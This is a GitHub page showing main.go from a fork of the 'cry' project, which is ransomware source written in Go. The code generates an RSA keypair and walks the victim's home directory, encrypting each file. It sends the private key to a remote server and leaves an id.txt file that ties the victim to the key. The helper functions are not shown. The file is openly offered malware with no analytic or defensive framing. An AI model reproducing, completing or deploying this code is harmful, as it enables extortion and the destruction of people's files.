forked from wille/cry
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
75 lines (55 loc) · 1.25 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package main
import (
"fmt"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"encoding/hex"
"io/ioutil"
"os"
"strings"
)
// GenerateID generates the unique identifier
func GenerateID() string {
r := make([]byte, 32)
rand.Read(r)
hash := sha256.New()
return hex.EncodeToString(hash.Sum(r))
}
func main() {
idFile, err := os.Open("id.txt")
var priv *rsa.PrivateKey
shouldEncrypt := false
// File exists, read id and get key from server
if err == nil {
idBytes, err := ioutil.ReadAll(idFile)
idFile.Close()
if err != nil {
panic(err)
}
id := string(idBytes)
id = strings.Split(id, "\r\n")[1]
GetKey(id)
} else {
fmt.Println("generating keypair...")
priv = Generate()
shouldEncrypt = true
}
fmt.Println()
fmt.Println(Stringify(priv))
startWalk := GetHomeDir()
Walk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) {
fmt.Println(filePath, "encrypted", isEncrypted)
if shouldEncrypt && !isEncrypted {
encrypt(filePath, priv)
} else if isEncrypted {
decrypt(filePath, priv)
}
})
if shouldEncrypt {
id := GenerateID()
PostKey(priv, id)
data := "# Do not modify this file, it contains your ID matching the encryption key\r\n" + id
ioutil.WriteFile("id.txt", []byte(data), 0777)
}
}